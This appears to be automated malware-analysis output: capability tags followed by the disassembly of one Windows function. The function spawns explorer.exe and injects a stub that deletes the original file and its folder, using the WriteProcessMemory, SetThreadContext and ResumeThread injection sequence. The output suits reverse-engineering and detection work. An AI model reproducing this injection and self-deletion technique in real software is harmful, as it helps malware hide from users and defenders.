Function at 0x4012e5
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Get common file path
Move file
Resume thread
Set current directory
Terminate process

Disassembly:
mov eax, 0x45ed02
call fcn.0043c280
mov eax, 0x11f0
call fcn.0043c620
push ebx
push esi
push edi
lea eax, [ebp - 0xe]
mov edi, 0x467594
mov esi, 0x46758c
push 0
push eax
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x3c], esi
call fcn.00401c77
and dword [ebp - 4], 0
mov ebx, 0x104
lea eax, [ebp - 0x30]
push ebx
push eax
lea ecx, [ebp - 0x5c]
call fcn.00401822
mov ecx, dword [eax]
mov byte [ebp - 4], 1
mov byte [eax + 4], 1
call fcn.00401e7b
mov eax, dword [eax]
push ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
and byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.00401aab
push 0
lea eax, [ebp - 0xac]
push 0
push eax
lea ecx, [ebp - 0x5c]
call fcn.0040184f
push 0xc
lea eax, [ebp - 0x5c]
sub esp, 0x28
mov byte [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0x24], esp
push 1
push eax
call fcn.00401717
call fcn.0042d168
add esp, 0x2c
test al, al
jne 0x4013bf
cmp byte [ebp + 8], al
je 0x4013b8
push 0xc
lea eax, [ebp - 0xac]
sub esp, 0x28
mov ecx, esp
mov dword [ebp - 0x24], esp
push 1
push eax
call fcn.00401717
call fcn.0042d168
add esp, 0x2c
test al, al
jne 0x4013bf
mov bl, 1
jmp 0x401650
lea eax, [ebp - 0xd]
push 0
push eax
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x84], edi
mov dword [ebp - 0x64], esi
call fcn.00401c77
lea eax, [ebp - 0x30]
push ebx
push eax
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 3
call fcn.00401822
mov ecx, dword [eax]
mov byte [ebp - 4], 4
mov byte [eax + 4], 1
call fcn.00401e7b
mov eax, dword [eax]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 3
call fcn.00401aab
cmp dword [ebp - 0x78], 0
je 0x40142b
mov eax, dword [ebp - 0x7c]
test eax, eax
jne 0x401424
mov eax, 0x467588
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 6
mov esi, str.explorer.exe
pop ecx
lea edi, [ebp - 0x5c4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x7b
xor eax, eax
pop ecx
lea edi, [ebp - 0x5aa]
rep stosd dword es:[edi], eax
push 0x44
xor esi, esi
pop edx
stosw word es:[edi], ax
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0xec]
mov dword [ebp - 0xf0], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xf0]
push eax
push esi
push esi
push edx
push esi
push esi
lea eax, [ebp - 0x5c4]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40148e
xor bl, bl
jmp 0x401641
mov ecx, 0x30c
xor eax, eax
lea edi, [ebp - 0x11f8]
mov dword [ebp - 0x11fc], esi
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x9f4], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x9ec], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x9e8], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x9e4], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x9e0], eax
mov al, byte [ebp + 8]
mov byte [ebp - 0x9d8], al
mov eax, dword [ebp - 0x54]
cmp eax, esi
mov dword [ebp - 0x9f0], edi
jne 0x4014fc
mov eax, 0x467588
push ebx
push eax
lea eax, [ebp - 0x9d7]
push eax
call fcn.0043c5d5
add esp, 0xc
cmp byte [ebp + 8], 0
je 0x401533
mov eax, dword [ebp - 0xa4]
cmp eax, esi
jne 0x401522
mov eax, 0x467588
push ebx
push eax
lea eax, [ebp - 0x7cf]
push eax
call fcn.0043c5d5
add esp, 0xc
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push esi
lea eax, [ebp - 0x9f8]
push esi
push eax
push dword [ebp - 0x20]
call ebx
push eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, 0x401715
mov eax, 0x40167c
sub ecx, eax
cmp ecx, 0x800
jbe 0x401595
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x20]
call edi
push dword [ebp - 0x1c]
call edi
mov eax, dword [ebp - 0x54]
cmp eax, esi
jne 0x401586
mov eax, 0x467588
push 4
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
jmp 0x401487
push ecx
push eax
lea eax, [ebp - 0x11f8]
push eax
call fcn.0043c2a0
add esp, 0xc
lea eax, [ebp - 0x3bc]
mov dword [ebp - 0x3bc], 0x10003
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x2f8]
mov ebx, 0xc35
lea esi, [eax - 0xc35]
and esi, 0xffffffe0
mov dword [ebp - 0x11fc], esi
lea eax, [esi - 4]
mov dword [ebp - 0x2f8], eax
lea eax, [esi + 4]
mov dword [ebp - 0x304], eax
lea eax, [ebp - 0x34]
push eax
push 0x40
push ebx
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
lea eax, [ebp - 0x11fc]
push ebx
push eax
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x3bc]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x20]
call edi
mov bl, 1
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 2
call fcn.0040125c
and byte [ebp - 4], 0
lea ecx, [ebp - 0xac]
call fcn.0040125c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c]
call fcn.0040125c
mov ecx, dword [ebp - 0xc]
pop edi
mov al, bl
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret